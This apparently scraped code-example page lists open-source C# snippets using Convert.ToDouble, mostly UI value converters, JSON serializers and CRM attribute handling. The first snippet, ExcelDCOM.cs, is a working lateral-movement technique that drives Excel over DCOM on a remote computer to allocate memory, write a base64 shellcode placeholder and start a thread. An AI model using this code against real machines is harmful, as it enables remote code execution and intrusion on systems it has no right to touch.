System.Convert.ToDouble(object)

Here are the examples of the csharp api System.Convert.ToDouble(object) taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

611 Examples 7

19 View Source File : ExcelDCOM.cs
License : GNU General Public License v3.0
Project Creator : 0xthirteen

static void ExecExcelDCOM(string computername, string arch)
        {
            try
            {
                Type ComType = Type.GetTypeFromProgID("Excel.Application", computername);
		object RemoteComObject = Activator.CreateInstance(ComType);
                int lpAddress;
                if (arch == "x64")
                {
                    lpAddress = 1342177280;
                }
                else
                {
                    lpAddress = 0;
                }
                string strfn = ("$$PAYLOAD$$");
                byte[] benign = Convert.FromBase64String(strfn);

                var memaddr = Convert.ToDouble(RemoteComObject.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { "CALL(\"Kernel32\",\"VirtualAlloc\",\"JJJJJ\"," + lpAddress + "," + benign.Length + ",4096,64)" }));
                int count = 0;
                foreach (var mybyte in benign)
                {
                    var charbyte = String.Format("CHAR({0})", mybyte);
                    var ret = RemoteComObject.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { "CALL(\"Kernel32\",\"WriteProcessMemory\",\"JJJCJJ\",-1, " + (memaddr + count) + "," + charbyte + ", 1, 0)" });
                    count = count + 1;
                }
                RemoteComObject.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { "CALL(\"Kernel32\",\"CreateThread\",\"JJJJJJJ\",0, 0, " + memaddr + ", 0, 0, 0)" });
                Console.WriteLine("[+] Executing against      :   {0}", computername);
            }
            
            catch (Exception e)
            {
                Console.WriteLine("[-] Error: {0}", e.Message);
            }
            
        }

19 View Source File : CornerRadiusToDouble.cs
License : MIT License
Project Creator : 1217950746

public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)
        {
            if (parameter != null)
            {
                return new CornerRadius((double)value / System.Convert.ToDouble(parameter));
            }
            return new CornerRadius((double)value);
        }

19 View Source File : DoubleToThickness.cs
License : MIT License
Project Creator : 1217950746

public object Convert(object value, System.Type targetType, object parameter, CultureInfo culture)
        {
            if (value != null)
            {
                if (parameter != null)
                {
                    switch (parameter.ToString())
                    {
                        case "Left":
                            return new Thickness(System.Convert.ToDouble(value), 0, 0, 0);

                        case "Top":
                            return new Thickness(0, System.Convert.ToDouble(value), 0, 0);

                        case "Right":
                            return new Thickness(0, 0, System.Convert.ToDouble(value), 0);

                        case "Buttom":
                            return new Thickness(0, 0, 0, System.Convert.ToDouble(value));

                        case "LeftTop":
                            return new Thickness(System.Convert.ToDouble(value), System.Convert.ToDouble(value), 0, 0);

                        case "LeftButtom":
                            return new Thickness(System.Convert.ToDouble(value), 0, 0, System.Convert.ToDouble(value));

                        case "RightTop":
                            return new Thickness(0, System.Convert.ToDouble(value), System.Convert.ToDouble(value), 0);

                        case "RigthButtom":
                            return new Thickness(0, 0, System.Convert.ToDouble(value), System.Convert.ToDouble(value));

                        case "LeftRight":
                            return new Thickness(System.Convert.ToDouble(value), 0, System.Convert.ToDouble(value), 0);

                        case "TopButtom":
                            return new Thickness(0, System.Convert.ToDouble(value), 0, System.Convert.ToDouble(value));

                        default:
                            return new Thickness(System.Convert.ToDouble(value));
                    }
                }
                return new Thickness(System.Convert.ToDouble(value));
            }
            return new Thickness(0);
        }

19 View Source File : CornerRadiusToDouble.cs
License : MIT License
Project Creator : 1217950746

public object Convert(object value, Type targetType, object parameter, CultureInfo culture)
        {
            if (parameter != null)
            {
                return ((CornerRadius)value).TopLeft * System.Convert.ToDouble(parameter);
            }
            return ((CornerRadius)value).TopLeft;
        }

19 View Source File : DoubleFactor.cs
License : MIT License
Project Creator : 1217950746

public object Convert(object value, System.Type targetType, object parameter, CultureInfo culture)
        {
            if (value == null)
            {
                return 0.0;
            }
            else if (parameter == null)
            {
                return System.Convert.ToDouble(value);
            }
            else
            {
                return System.Convert.ToDouble(value) * System.Convert.ToDouble(parameter);
            }
        }

19 View Source File : DoubleFactor.cs
License : MIT License
Project Creator : 1217950746

public object ConvertBack(object value, System.Type targetType, object parameter, CultureInfo culture)
        {
            if (value == null)
            {
                return 0.0;
            }
            else if (parameter == null)
            {
                return System.Convert.ToDouble(value);
            }
            else
            {
                return System.Convert.ToDouble(value) / System.Convert.ToDouble(parameter);
            }
        }

19 View Source File : DoubleToCornerRadius.cs
License : MIT License
Project Creator : 1217950746

public object Convert(object value, System.Type targetType, object parameter, CultureInfo culture)
        {
            if (parameter != null)
            {
                return new CornerRadius((double)value / System.Convert.ToDouble(parameter));
            }
            return new CornerRadius((double)value);
        }

19 View Source File : DoubleToCornerRadius.cs
License : MIT License
Project Creator : 1217950746

public object ConvertBack(object value, System.Type targetType, object parameter, CultureInfo culture)
        {
            if (parameter != null)
            {
                return ((CornerRadius)value).TopLeft * System.Convert.ToDouble(parameter);
            }
            return ((CornerRadius)value).TopLeft;
        }

19 View Source File : SimpleJSON.cs
License : MIT License
Project Creator : 71

public override bool Equals(object obj)
        {
            if (obj == null)
                return false;
            if (base.Equals(obj))
                return true;
            JSONNumber s2 = obj as JSONNumber;
            if (s2 != null)
                return m_Data == s2.m_Data;
            if (IsNumeric(obj))
                return Convert.ToDouble(obj) == m_Data;
            return false;
        }

19 View Source File : NpcCommandHandler.cs
License : GNU Lesser General Public License v3.0
Project Creator : 8720826

private bool CheckField(PlayerEnreplacedy player, string field, string strValue, string strRelation)
        {
            try
            {
                var relations = GetRelations(strRelation);// 1 大于,0 等于 ,-1 小于

                var fieldProp = GetFieldPropertyInfo(player, field);
                if (fieldProp == null)
                {
                    return false;
                }

                var objectValue = fieldProp.GetValue(player);
                var typeCode = Type.GetTypeCode(fieldProp.GetType());
                switch (typeCode)
                {
                    case TypeCode.Int32:
                        return relations.Contains(Convert.ToInt32(strValue).CompareTo(Convert.ToInt32(objectValue)));

                    case TypeCode.Int64:
                        return relations.Contains(Convert.ToInt64(strValue).CompareTo(Convert.ToInt64(objectValue)));

                    case TypeCode.Decimal:
                        return relations.Contains(Convert.ToDecimal(strValue).CompareTo(Convert.ToDecimal(objectValue)));

                    case TypeCode.Double:
                        return relations.Contains(Convert.ToDouble(strValue).CompareTo(Convert.ToDouble(objectValue)));

                    case TypeCode.Boolean:
                        return relations.Contains(Convert.ToBoolean(strValue).CompareTo(Convert.ToBoolean(objectValue)));

                    case TypeCode.DateTime:
                        return relations.Contains(Convert.ToDateTime(strValue).CompareTo(Convert.ToDateTime(objectValue)));

                    case TypeCode.String:
                        return relations.Contains(strValue.CompareTo(objectValue));

                    default:
                        throw new Exception($"不支持的数据类型: {typeCode}");
                }
            }
            catch (Exception ex)
            {
                _logger.LogError($"CheckField Exception:{ex}");
                return false;
            }
        }

19 View Source File : CompareToVisibilityConverter.cs
License : MIT License
Project Creator : 944095635

public object Convert(object value, Type targetType, object parameter, CultureInfo culture)
        {
            try
            {
                double v1 = Converts.ToDouble(value);
                double v2 = Converts.ToDouble(parameter);
                if (v1 > v2)
                {
                    return Visibility.Visible;
                }
            }
            catch (Exception)
            {

            }
            return Visibility.Collapsed;
        }

19 View Source File : ExpressionUtility.cs
License : MIT License
Project Creator : actions

internal static Object ConvertToCanonicalValue(
            Object val,
            out ValueKind kind,
            out Object raw)
        {
            raw = null;

            if (Object.ReferenceEquals(val, null))
            {
                kind = ValueKind.Null;
                return null;
            }
            else if (val is Boolean)
            {
                kind = ValueKind.Boolean;
                return val;
            }
            else if (val is Double)
            {
                kind = ValueKind.Number;
                return val;
            }
            else if (val is String)
            {
                kind = ValueKind.String;
                return val;
            }
            else if (val is INull n)
            {
                kind = ValueKind.Null;
                raw = val;
                return null;
            }
            else if (val is IBoolean boolean)
            {
                kind = ValueKind.Boolean;
                raw = val;
                return boolean.GetBoolean();
            }
            else if (val is INumber number)
            {
                kind = ValueKind.Number;
                raw = val;
                return number.GetNumber();
            }
            else if (val is IString str)
            {
                kind = ValueKind.String;
                raw = val;
                return str.GetString();
            }
            else if (val is IReadOnlyObject)
            {
                kind = ValueKind.Object;
                return val;
            }
            else if (val is IReadOnlyArray)
            {
                kind = ValueKind.Array;
                return val;
            }
            else if (!val.GetType().GetTypeInfo().IsClreplaced)
            {
                if (val is Decimal || val is Byte || val is SByte || val is Int16 || val is UInt16 || val is Int32 || val is UInt32 || val is Int64 || val is UInt64 || val is Single)
                {
                    kind = ValueKind.Number;
                    return Convert.ToDouble(val);
                }
                else if (val is Enum)
                {
                    var strVal = String.Format(CultureInfo.InvariantCulture, "{0:G}", val);
                    if (Double.TryParse(strVal, NumberStyles.AllowLeadingSign, CultureInfo.InvariantCulture, out Double doubleValue))
                    {
                        kind = ValueKind.Number;
                        return doubleValue;
                    }

                    kind = ValueKind.String;
                    return strVal;
                }
            }

            kind = ValueKind.Object;
            return val;
        }

19 View Source File : TickIntervalConverter.cs
License : MIT License
Project Creator : Actipro

public object Convert(object value, Type targetType, object parameter, CultureInfo culture) {
		#endif
			var doubleValue = Math.Ceiling(System.Convert.ToDouble(value));
			int intValue = System.Convert.ToInt32(doubleValue);

			if (intValue == 0)
				return 1;
			if (intValue == 1)
				return 2;
			if(intValue == 2)
				return 4;
			if (intValue == 3)
				return 6;
			if (intValue == 4)
				return 8;

			return 10;
		}

19 View Source File : MiniJson.cs
License : MIT License
Project Creator : AdamCarballo

void SerializeOther(object value) {
				// NOTE: decimals lose precision during serialization.
				// They always have, I'm just letting you know.
				// Previously floats and doubles lost precision too.
				if (value is float) {
					builder.Append(((float) value).ToString("R"));
				} else if (value is int
				           || value is uint
				           || value is long
				           || value is sbyte
				           || value is byte
				           || value is short
				           || value is ushort
				           || value is ulong) {
					builder.Append(value);
				} else if (value is double
				           || value is decimal) {
					builder.Append(Convert.ToDouble(value).ToString("R"));
				} else {
					SerializeString(value.ToString());
				}
			}

19 View Source File : AdColonyUserMetadata.cs
License : Apache License 2.0
Project Creator : AdColony

[Obsolete("GetDoubleMetadata is deprecated")]
        public double GetDoubleMetadata(string key)
        {
            return _data.ContainsKey(key) ? Convert.ToDouble(_data[key]) : 0.0;
        }

19 View Source File : AdColonyUtils.cs
License : Apache License 2.0
Project Creator : AdColony

bool SerializeValue(object value, StringBuilder builder)
        {
            if (value == null)
            {
                builder.Append("null");
            }
            else if (value.GetType().IsArray)
            {
                SerializeArray(new ArrayList((ICollection)value), builder);
            }
            else if (value is string)
            {
                SerializeString((string)value, builder);
            }
            else if (value is Char)
            {
                SerializeString(Convert.ToString((char)value), builder);
            }
            else if (value is Hashtable)
            {
                SerializeObject((Hashtable)value, builder);
            }
            else if (value is ArrayList)
            {
                SerializeArray((ArrayList)value, builder);
            }
            else if ((value is bool) && ((bool)value == true))
            {
                builder.Append("true");
            }
            else if ((value is bool) && ((bool)value == false))
            {
                builder.Append("false");
            }
            else if (value.GetType().IsPrimitive)
            {
                SerializeNumber(Convert.ToDouble(value), builder);
            }
            else
            {
                return false;
            }
            return true;
        }

19 View Source File : Hooks.cs
License : MIT License
Project Creator : adamped

static void _updateUserSettingsData(String jsonData)
        {
            Dictionary<String, Object> data = JsonConvert.DeserializeObject<Dictionary<String, Object>>(jsonData);
            _updateTextScaleFactor(Convert.ToDouble(data["textScaleFactor"]));
            _updateAlwaysUse24HourFormat(Convert.ToBoolean(data["alwaysUse24HourFormat"]));
        }

19 View Source File : AdColonyOptions.cs
License : Apache License 2.0
Project Creator : AdColony

public double GetDoubleOption(string key)
        {
            return _data.ContainsKey(key) ? Convert.ToDouble(_data[key]) : 0.0;
        }

19 View Source File : EntityFormFunctions.cs
License : MIT License
Project Creator : Adoxio

internal static string TryConvertAttributeValueToString(OrganizationServiceContext context, Dictionary<string, AttributeTypeCode?> attributeTypeCodeDictionary, string enreplacedyName, string attributeName, object value)
		{
			if (context == null || string.IsNullOrWhiteSpace(enreplacedyName) || string.IsNullOrWhiteSpace(attributeName))
			{
				return string.Empty;
			}

			var newValue = string.Empty;
			var attributeTypeCode = attributeTypeCodeDictionary.FirstOrDefault(a => a.Key == attributeName).Value;

			if (attributeTypeCode == null)
			{
				ADXTrace.Instance.TraceError(TraceCategory.Application, "Unable to recognize the attribute specified.");
				return string.Empty;
			}

			try
			{
				switch (attributeTypeCode)
				{
					case AttributeTypeCode.BigInt:
						newValue = value == null ? string.Empty : Convert.ToInt64(value).ToString(CultureInfo.InvariantCulture);
						break;
					case AttributeTypeCode.Boolean:
						newValue = value == null ? string.Empty : Convert.ToBoolean(value).ToString(CultureInfo.InvariantCulture);
						break;
					case AttributeTypeCode.Customer:
						if (value is EnreplacedyReference)
						{
							var enreplacedyref = value as EnreplacedyReference;
							newValue = enreplacedyref.Id.ToString();
						}
						break;
					case AttributeTypeCode.DateTime:
						newValue = value == null ? string.Empty : Convert.ToDateTime(value).ToUniversalTime().ToString(CultureInfo.InvariantCulture);
						break;
					case AttributeTypeCode.Decimal:
						newValue = value == null ? string.Empty : Convert.ToDecimal(value).ToString(CultureInfo.InvariantCulture);
						break;
					case AttributeTypeCode.Double:
						newValue = value == null ? string.Empty : Convert.ToDouble(value).ToString(CultureInfo.InvariantCulture);
						break;
					case AttributeTypeCode.Integer:
						newValue = value == null ? string.Empty : Convert.ToInt32(value).ToString(CultureInfo.InvariantCulture);
						break;
					case AttributeTypeCode.Lookup:
						if (value is EnreplacedyReference)
						{
							var enreplacedyref = value as EnreplacedyReference;
							newValue = enreplacedyref.Id.ToString();
						}
						break;
					case AttributeTypeCode.Memo:
						newValue = value as string;
						break;
					case AttributeTypeCode.Money:
						newValue = value == null ? string.Empty : Convert.ToDecimal(value).ToString(CultureInfo.InvariantCulture);
						break;
					case AttributeTypeCode.Picklist:
						newValue = value == null ? string.Empty : Convert.ToInt32(value).ToString(CultureInfo.InvariantCulture);
						break;
					case AttributeTypeCode.State:
						newValue = value == null ? string.Empty : Convert.ToInt32(value).ToString(CultureInfo.InvariantCulture);
						break;
					case AttributeTypeCode.Status:
						newValue = value == null ? string.Empty : Convert.ToInt32(value).ToString(CultureInfo.InvariantCulture);
						break;
					case AttributeTypeCode.String:
						newValue = value as string;
						break;
					case AttributeTypeCode.Uniqueidentifier:
						if (value is Guid)
						{
							var id = (Guid)value;
							newValue = id.ToString();
						}
						break;
					default:
						ADXTrace.Instance.TraceWarning(TraceCategory.Application, string.Format("Attribute type '{0}' is unsupported.", attributeTypeCode));
						break;
				}
			}
			catch (Exception ex)
			{
				WebEventSource.Log.GenericWarningException(ex, string.Format("Attribute specified is expecting a {0}. The value provided is not valid.", attributeTypeCode));
			}
			return newValue;
		}

19 View Source File : EntityFormFunctions.cs
License : MIT License
Project Creator : Adoxio

internal static dynamic TryConvertAttributeValue(OrganizationServiceContext context, string enreplacedyName, string attributeName, object value, Dictionary<string, AttributeTypeCode?> AttributeTypeCodeDictionary)
		{

			if (context == null || string.IsNullOrWhiteSpace(enreplacedyName) || string.IsNullOrWhiteSpace(attributeName)) return null;

			if (AttributeTypeCodeDictionary == null || !AttributeTypeCodeDictionary.Any())
			{
				AttributeTypeCodeDictionary = MetadataHelper.BuildAttributeTypeCodeDictionary(context, enreplacedyName);
			}

			object newValue = null;
			var attributeTypeCode = AttributeTypeCodeDictionary.FirstOrDefault(a => a.Key == attributeName).Value;

			if (attributeTypeCode == null)
			{
				ADXTrace.Instance.TraceError(TraceCategory.Application, string.Format("Unable to recognize the attribute '{0}' specified.", attributeName));
				return null;
			}

			try
			{
				switch (attributeTypeCode)
				{
					case AttributeTypeCode.BigInt:
						newValue = value == null ? (object)null : Convert.ToInt64(value);
						break;
					case AttributeTypeCode.Boolean:
						newValue = value == null ? (object)null : Convert.ToBoolean(value);
						break;
					case AttributeTypeCode.Customer:
						if (value is EnreplacedyReference)
						{
							newValue = value as EnreplacedyReference;
						}
						else if (value is Guid)
						{
							var metadata = MetadataHelper.GetEnreplacedyMetadata(context, enreplacedyName);
							var attribute = metadata.Attributes.FirstOrDefault(a => a.LogicalName == attributeName);
							if (attribute != null)
							{
								var lookupAttribute = attribute as LookupAttributeMetadata;
								if (lookupAttribute != null && lookupAttribute.Targets.Length == 1)
								{
									var lookupEnreplacedyType = lookupAttribute.Targets[0];
									newValue = new EnreplacedyReference(lookupEnreplacedyType, (Guid)value);
								}
							}
						}
						break;
					case AttributeTypeCode.DateTime:
						newValue = value == null ? (object)null : Convert.ToDateTime(value).ToUniversalTime();
						break;
					case AttributeTypeCode.Decimal:
						newValue = value == null ? (object)null : Convert.ToDecimal(value);
						break;
					case AttributeTypeCode.Double:
						newValue = value == null ? (object)null : Convert.ToDouble(value);
						break;
					case AttributeTypeCode.Integer:
						newValue = value == null ? (object)null : Convert.ToInt32(value);
						break;
					case AttributeTypeCode.Lookup:
						if (value is EnreplacedyReference)
						{
							newValue = value as EnreplacedyReference;
						}
						else if (value is Guid)
						{
							var metadata = MetadataHelper.GetEnreplacedyMetadata(context, enreplacedyName);
							var attribute = metadata.Attributes.FirstOrDefault(a => a.LogicalName == attributeName);
							if (attribute != null)
							{
								var lookupAttribute = attribute as LookupAttributeMetadata;
								if (lookupAttribute != null && lookupAttribute.Targets.Length == 1)
								{
									var lookupEnreplacedyType = lookupAttribute.Targets[0];
									newValue = new EnreplacedyReference(lookupEnreplacedyType, (Guid)value);
								}
							}
						}
						break;
					case AttributeTypeCode.Memo:
						newValue = value as string;
						break;
					case AttributeTypeCode.Money:
						newValue = value == null ? (object)null : Convert.ToDecimal(value);
						break;
					case AttributeTypeCode.Picklist:
						var plMetadata = MetadataHelper.GetEnreplacedyMetadata(context, enreplacedyName);
						var plAttribute = plMetadata.Attributes.FirstOrDefault(a => a.LogicalName == attributeName);
						if (plAttribute != null)
						{
							var picklistAttribute = plAttribute as PicklistAttributeMetadata;
							if (picklistAttribute != null)
							{
								int picklistInt;
								OptionMetadata picklistValue;
								if (int.TryParse(string.Empty + value, out picklistInt))
								{
									picklistValue = picklistAttribute.OptionSet.Options.FirstOrDefault(o => o.Value == picklistInt);
								}
								else
								{
									picklistValue = picklistAttribute.OptionSet.Options.FirstOrDefault(o => o.Label.GetLocalizedLabelString() == string.Empty + value);
								}

								if (picklistValue != null && picklistValue.Value.HasValue)
								{
									newValue = value == null ? null : new OptionSetValue(picklistValue.Value.Value);
								}
							}
						}
						break;
					case AttributeTypeCode.State:
						ADXTrace.Instance.TraceWarning(TraceCategory.Application, string.Format("Attribute '{0}' type '{1}' is unsupported. The state attribute is created automatically when the enreplacedy is created. The options available for this attribute are read-only.", attributeName, attributeTypeCode));
						break;
					case AttributeTypeCode.Status:
						if (value == null)
						{
							return false;
						}
						var optionSetValue = new OptionSetValue(Convert.ToInt32(value));
						newValue = optionSetValue;
						break;
					case AttributeTypeCode.String:
						newValue = value as string;
						break;
					default:
						ADXTrace.Instance.TraceWarning(TraceCategory.Application, string.Format("Attribute '{0}' type '{1}' is unsupported.", attributeName, attributeTypeCode));
						break;
				}
			}
			catch (Exception ex)
			{
				WebEventSource.Log.GenericWarningException(ex, string.Format("Attribute '{0}' specified is expecting a {1}. The value provided is not valid.", attributeName, attributeTypeCode));
			}
			return newValue;
		}

19 View Source File : Expression.cs
License : MIT License
Project Creator : Adoxio

protected bool Evaluate(Expression left, Expression right, Func<object, object, bool> compare, Func<object, Type, object> convert)
		{
			object testValue;
			var attributeName = ((LeftLiteralExpression)left).Value as string;
			var expressionValue = ((RightLiteralExpression)right).Value;

			if (EvaluateEnreplacedy == null)
			{
				throw new NullReferenceException("EvaluateEnreplacedy is null.");
			}
			
			if (string.IsNullOrWhiteSpace(attributeName))
			{
				throw new InvalidOperationException(string.Format("Unable to recognize the attribute {0} specified in the expression.", attributeName));
			}

			var attributeTypeCode = AttributeTypeCodeDictionary.FirstOrDefault(a => a.Key == attributeName).Value;

			if (attributeTypeCode == null)
			{
				throw new InvalidOperationException(string.Format("Unable to recognize the attribute {0} specified in the expression.", attributeName));
			}

			var attributeValue = EvaluateEnreplacedy.Attributes.ContainsKey(attributeName) ? EvaluateEnreplacedy.Attributes[attributeName] : null;

			switch (attributeTypeCode)
			{
				case AttributeTypeCode.BigInt:
					if (expressionValue != null && !(expressionValue is long | expressionValue is double))
					{
						throw new InvalidOperationException(string.Format("Attribute {0} specified in the expression is expecting a {1}. The value provided isn't valid.", attributeName, attributeTypeCode));
					}
					testValue = expressionValue == null ? (object)null : Convert.ToInt64(expressionValue);
					break;
				case AttributeTypeCode.Boolean:
					if (expressionValue != null && !(expressionValue is bool))
					{
						throw new InvalidOperationException(string.Format("Attribute {0} specified in the expression is expecting a {1}. The value provided isn't valid.", attributeName, attributeTypeCode));
					}
					testValue = expressionValue == null ? (object)null : (bool)expressionValue;
					break;
				case AttributeTypeCode.Customer:
					var enreplacedyReference = EvaluateEnreplacedy.Attributes.ContainsKey(attributeName) ? (EnreplacedyReference)EvaluateEnreplacedy.Attributes[attributeName] : null;
					attributeValue = enreplacedyReference != null ? (object)enreplacedyReference.Id : null;
					if (expressionValue != null && !(expressionValue is Guid))
					{
						throw new InvalidOperationException(string.Format("Attribute {0} specified in the expression is expecting a {1}. The value provided isn't valid.", attributeName, attributeTypeCode));
					}
					testValue = expressionValue == null ? (object)null : (Guid)expressionValue;
					break;
				case AttributeTypeCode.DateTime:
					if (expressionValue != null && !(expressionValue is DateTime))
					{
						throw new InvalidOperationException(string.Format("Attribute {0} specified in the expression is expecting a {1}. The value provided isn't valid.", attributeName, attributeTypeCode));
					}
					testValue = expressionValue == null ? (object)null : ((DateTime)expressionValue).ToUniversalTime();
					break;
				case AttributeTypeCode.Decimal:
					if (expressionValue != null && !(expressionValue is int | expressionValue is double | expressionValue is decimal))
					{
						throw new InvalidOperationException(string.Format("Attribute {0} specified in the expression is expecting a {1}. The value provided isn't valid.", attributeName, attributeTypeCode));
					}
					testValue = expressionValue == null ? (object)null : Convert.ToDecimal(expressionValue);
					break;
				case AttributeTypeCode.Double:
					if (expressionValue != null && !(expressionValue is int | expressionValue is double))
					{
						throw new InvalidOperationException(string.Format("Attribute {0} specified in the expression is expecting a {1}. The value provided isn't valid.", attributeName, attributeTypeCode));
					}
					testValue = expressionValue == null ? (object)null : Convert.ToDouble(expressionValue);
					break;
				case AttributeTypeCode.Integer:
					if (expressionValue != null && !(expressionValue is int | expressionValue is double))
					{
						throw new InvalidOperationException(string.Format("Attribute {0} specified in the expression is expecting a {1}. The value provided isn't valid.", attributeName, attributeTypeCode));
					}
					testValue = expressionValue == null ? (object)null : Convert.ToInt32(expressionValue);
					break;
				case AttributeTypeCode.Lookup:
					var lookupEnreplacedyReference = EvaluateEnreplacedy.Attributes.ContainsKey(attributeName) ? (EnreplacedyReference)EvaluateEnreplacedy.Attributes[attributeName] : null;
					attributeValue = lookupEnreplacedyReference != null ? (object)lookupEnreplacedyReference.Id : null;
					if (expressionValue != null && !(expressionValue is Guid))
					{
						throw new InvalidOperationException(string.Format("Attribute {0} specified in the expression is expecting a {1}. The value provided isn't valid.", attributeName, attributeTypeCode));
					}
					testValue = expressionValue == null ? (object)null : (Guid)expressionValue;
					break;
				case AttributeTypeCode.Memo:
					if (expressionValue != null && !(expressionValue is string))
					{
						throw new InvalidOperationException(string.Format("Attribute {0} specified in the expression is expecting a {1}. The value provided isn't valid.", attributeName, attributeTypeCode));
					}
					testValue = expressionValue as string;
					break;
				case AttributeTypeCode.Money:
					var money = EvaluateEnreplacedy.Attributes.ContainsKey(attributeName) ? (Money)EvaluateEnreplacedy.Attributes[attributeName] : null;
					attributeValue = money != null ? (object)Convert.ToDecimal(money.Value) : null;
					if (expressionValue != null && !(expressionValue is int | expressionValue is double | expressionValue is decimal))
					{
						throw new InvalidOperationException(string.Format("Attribute {0} specified in the expression is expecting a {1}. The value provided isn't valid.", attributeName, attributeTypeCode));
					}
					testValue = expressionValue == null ? (object)null : Convert.ToDecimal(expressionValue);
					break;
				case AttributeTypeCode.Picklist:
					var optionSetValue = EvaluateEnreplacedy.Attributes.ContainsKey(attributeName) ? (OptionSetValue)EvaluateEnreplacedy.Attributes[attributeName] : null;
					attributeValue = optionSetValue != null ? (object)optionSetValue.Value : null;
					if (expressionValue != null && !(expressionValue is int | expressionValue is double))
					{
						throw new InvalidOperationException(string.Format("Attribute {0} specified in the expression is expecting a {1}. The value provided isn't valid.", attributeName, attributeTypeCode));
					}
					testValue = expressionValue == null ? (object)null : Convert.ToInt32(expressionValue);
					break;
				case AttributeTypeCode.State:
					var stateOptionSetValue = EvaluateEnreplacedy.Attributes.ContainsKey(attributeName) ? (OptionSetValue)EvaluateEnreplacedy.Attributes[attributeName] : null;
					attributeValue = stateOptionSetValue != null ? (object)stateOptionSetValue.Value : null;
					if (expressionValue != null && !(expressionValue is int | expressionValue is double))
					{
						throw new InvalidOperationException(string.Format("Attribute {0} specified in the expression is expecting a {1}. The value provided isn't valid.", attributeName, attributeTypeCode));
					}
					testValue = expressionValue == null ? (object)null : Convert.ToInt32(expressionValue);
					break;
				case AttributeTypeCode.Status:
					var statusOptionSetValue = EvaluateEnreplacedy.Attributes.ContainsKey(attributeName) ? (OptionSetValue)EvaluateEnreplacedy.Attributes[attributeName] : null;
					attributeValue = statusOptionSetValue != null ? (object)statusOptionSetValue.Value : null;
					if (expressionValue != null && !(expressionValue is int | expressionValue is double))
					{
						throw new InvalidOperationException(string.Format("Attribute {0} specified in the expression is expecting a {1}. The value provided isn't valid.", attributeName, attributeTypeCode));
					}
					testValue = expressionValue == null ? (object)null : Convert.ToInt32(expressionValue);
					break;
				case AttributeTypeCode.String:
					if (expressionValue != null && !(expressionValue is string))
					{
						throw new InvalidOperationException(string.Format("Attribute {0} specified in the expression is expecting a {1}. The value provided isn't valid.", attributeName, attributeTypeCode));
					}
					testValue = expressionValue as string;
					break;
				case AttributeTypeCode.Uniqueidentifier:
					if (expressionValue != null && !(expressionValue is Guid))
					{
						throw new InvalidOperationException(string.Format("Attribute {0} specified in the expression is expecting a {1}. The value provided isn't valid.", attributeName, attributeTypeCode));
					}
					testValue = expressionValue == null ? (object)null : (Guid)expressionValue;
					break;
				default:
					throw new InvalidOperationException(string.Format("Unsupported type of attribute {0} specified in the expression.", attributeName));
			}

			return compare(attributeValue, testValue);
		}

19 View Source File : WebFormServiceRequestResolveDuplicates.ascx.cs
License : MIT License
Project Creator : Adoxio

protected void Page_Load(object sender, EventArgs e)
		{
			if (Page.IsPostBack) return;

			if (PreviousStepEnreplacedyID == Guid.Empty)
			{
				throw new NullReferenceException("The ID of the previous web form step's created enreplacedy is null.");
			}

			var context = PortalCrmConfigurationManager.CreateServiceContext();
			var type = GetServiceRequestType(context);
			var duplicateDetectionView = type.GetAttributeValue<string>("adx_duplicateview");
			Guid viewId;

			if (!string.IsNullOrWhiteSpace(duplicateDetectionView) && Guid.TryParse(duplicateDetectionView, out viewId))
			{
				RegisterClientSideDependencies(this);

				var lareplacedudeFieldName = type.GetAttributeValue<string>("adx_lareplacedudefieldname");
				var longitudeFieldName = type.GetAttributeValue<string>("adx_longitudefieldname");

				var duplicateDistance = Convert.ToDouble(type.GetAttributeValue("adx_duplicatedistance"));
				var distanceUnit = type.GetAttributeValue<OptionSetValue>("adx_duplicatedistanceunit");
				var unit = distanceUnit != null ? (DuplicateDistanceUnit)distanceUnit.Value : DuplicateDistanceUnit.Miles;
				var distance = unit == DuplicateDistanceUnit.Miles ? (1.60934 * duplicateDistance) : duplicateDistance;

				var enreplacedy = GetPreviousStepEnreplacedy(context);
				var lareplacedude = enreplacedy.GetAttributeValue(lareplacedudeFieldName);
				var longitude = enreplacedy.GetAttributeValue(longitudeFieldName);

				if (lareplacedude != null && longitude != null)
				{
					CurrentServiceRequestId.Value = PreviousStepEnreplacedyID.ToString();
					RenderDuplicatesList(context, viewId, lareplacedudeFieldName, longitudeFieldName, Convert.ToDouble(lareplacedude), Convert.ToDouble(longitude), distance);
					RenderCurrentList(context, viewId);

					return;
				}
			}

			_isUnique = true;
			MoveToNextStep(PreviousStepEnreplacedyID);
		}

19 View Source File : DoubleToThickness.cs
License : GNU General Public License v3.0
Project Creator : aduskin

public object Convert(object value, System.Type targetType, object parameter, CultureInfo culture)
        {
            if (value != null)
            {
                if (parameter != null)
                {
                    switch (parameter.ToString())
                    {
                        case "Left":
                            return new Thickness(System.Convert.ToDouble(value), 0, 0, 0);
                        case "Top":
                            return new Thickness(0, System.Convert.ToDouble(value), 0, 0);
                        case "Right":
                            return new Thickness(0, 0, System.Convert.ToDouble(value), 0);
                        case "Buttom":
                            return new Thickness(0, 0, 0, System.Convert.ToDouble(value));
                        case "LeftTop":
                            return new Thickness(System.Convert.ToDouble(value), System.Convert.ToDouble(value), 0, 0);
                        case "LeftButtom":
                            return new Thickness(System.Convert.ToDouble(value), 0, 0, System.Convert.ToDouble(value));
                        case "RightTop":
                            return new Thickness(0, System.Convert.ToDouble(value), System.Convert.ToDouble(value), 0);
                        case "RigthButtom":
                            return new Thickness(0, 0, System.Convert.ToDouble(value), System.Convert.ToDouble(value));
                        case "LeftRight":
                            return new Thickness(System.Convert.ToDouble(value), 0, System.Convert.ToDouble(value), 0);
                        case "TopButtom":
                            return new Thickness(0, System.Convert.ToDouble(value), 0, System.Convert.ToDouble(value));
                        default:
                            return new Thickness(System.Convert.ToDouble(value));
                    }
                }
                return new Thickness(System.Convert.ToDouble(value));
            }
            return new Thickness(0);
        }

19 View Source File : CornerRadiusToDouble.cs
License : GNU General Public License v3.0
Project Creator : aduskin

public object ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)
        {
            if (parameter != null)
            {
                return new CornerRadius((double)value/ System.Convert.ToDouble(parameter));
            }
            return new CornerRadius((double)value);
        }

19 View Source File : TypeFilter.cs
License : MIT License
Project Creator : alen-smajic

protected override bool PropertyComparer(object property)
		{
			if (property == null)
			{
				return false;
			}
